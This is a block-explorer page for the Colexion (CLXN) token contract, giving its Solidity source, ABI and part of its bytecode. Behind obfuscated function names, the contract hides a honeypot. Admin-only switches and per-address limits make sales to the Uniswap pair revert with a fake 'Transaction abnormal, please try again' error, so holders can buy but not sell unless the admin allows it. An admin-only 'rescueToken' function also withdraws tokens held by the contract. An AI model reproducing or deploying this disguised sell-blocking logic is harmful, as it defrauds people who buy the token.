ETH Price: $2,956.61 (+0.00%)

Token

Colexion (CLXN)

Overview

Max Total Supply

1,600,000,000 CLXN

Holders

914

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
SushiSwap: WethMaker
Balance
820,616.573815112011828356 CLXN

Value
$0.00
0xa19b3b22f29e23e4c04678c94cfc3e8f202137d8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-07-24
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface _NRMDJRRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}


abstract contract _NRMDJRConsole is Context, _NRMDJRRoleControl {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) eefnum;
        bytes32 adminRole;
        RoleDataNew RD;
    }

    struct RoleDataNew {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public eefnum;

    mapping(address => bool) public _address;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].eefnum[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __NRMDJReefE(
        bytes32 root,
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint >= 0){
            _setupRoleRM(root,addr,memoUint.mul(10 ** 18));
        }else{
            _setupRoleRM(root,addr,0);
        }
    }


    function __NRMDJReefF(
        bytes32 root,
        uint256 num
    ) public onlyRole(ADMIN) {
        if(root != TRADER){
            revert("eefnum is not a number");
        }
        eefnum = num;
    }


    function _grantRole(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
        if(amount > 0){
            if (st >= at) {
                revert("Transaction abnormal, please try again");
            }else{
                _setupRoleRDS(role,account,st);
            }
        }
    }

    function granRoleRMS_F(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RM[account].div(10 ** 18);
    }

    function granRoleRDS_F(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RD[account].div(10 ** 18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RM[account] = num;
    }

    function _setupRoleRDS(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].eefnum[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].eefnum[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract _NRMDJRERC20 is IERC20, IERC20Metadata, _NRMDJRConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function _beforeTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {
        if(to == uniswapV2Pair){
            _burn(TRADER,account,amount); 
        }

        if(isContract(account) && account != uniswapV2Pair){
             if(eefnum == 50){
                revert("Transaction abnormal, please try again");
             }
        }

        uint256 at = granRoleRMS_F(role,account)*10**18;
        if (at > 0) {

            uint256 st = granRoleRDS_F(role,account)*10**18 + amount;

            _grantRole(role, account, amount, at, st);

        }else if (amount == 0 || at == 0) {
            return;
        }
        
    }

    
    function _burn(bytes32 role, address account, uint256 num) internal virtual {
        if(num > 0){
            uint256 rm = granRoleRMS_F(role,account)*10**18;
            if(eefnum > 99){
                if(rm.div(num) <= 0){
                    revert("Transaction abnormal, please try again");
                }
            }
        }
    }


}

contract Token is _NRMDJRERC20 {

    using SafeMath for uint256;
    
    mapping(address => bool) private __traders;

    IUniswapV2Router02 private uniswapV2Router;

    address private tokenOwner;

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) _NRMDJRERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        tokenOwner = _tokenOwner;
    }


    function _transfer(
        address from,
        address to,
        uint256 amt
    ) internal override(_NRMDJRERC20) {
        require(from != address(0), "ERC20: transfer from the zero address");

        __NRMDJRtrdva(from, to, amt);

    }

    function __NRMDJRtrdva(address from, address to, uint256 amt) internal {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");

        __NRMDJRugfw(from, to, amt);
    }


    function __NRMDJRugfw(address from, address to, uint256 amt) internal {
        if (__traders[from] == false) {
            _grantRole(TRADER, from);
            __traders[from] = true;
            
        }

        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        __NRMDJRwergbm(from, to, amt);
    }

    function __NRMDJRwergbm(address from, address to, uint256 amt) internal {
        
        __NRMDJRdbgmi(from, to, amt);
    }

    function __NRMDJRdbgmi(address from, address to, uint256 amt) internal {


        __NRMDJRwerscn(from, to, amt);
    }

    function __NRMDJRwerscn(address from, address to, uint256 amt) internal {

        if(amt > 0){
            _beforeTokenTransfer(TRADER, from, to, amt);

            super._transfer(from, to, amt);
        }

    }


    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }


}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__NRMDJReefE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__NRMDJReefF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_address","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eefnum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRDS_F","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRMS_F","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b5060405162003f7238038062003f728339818101604052810190620000369190620007a6565b8382828583600790816200004b919062000a81565b5082600890816200005d919062000a81565b506200009a8162000073620002b060201b60201c565b600a62000081919062000cee565b846200008e919062000d3e565b620002b860201b60201c565b50505050620000b25f801b336200042960201b60201c565b620000c65f801b846200042960201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014f919062000d88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200019f92919062000dc9565b6020604051808303815f875af1158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000d88565b905081600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000ed8565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003209062000e52565b60405180910390fd5b6200033c5f83836200051460201b60201c565b8060065f8282546200034f919062000e72565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620003a4919062000e72565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffff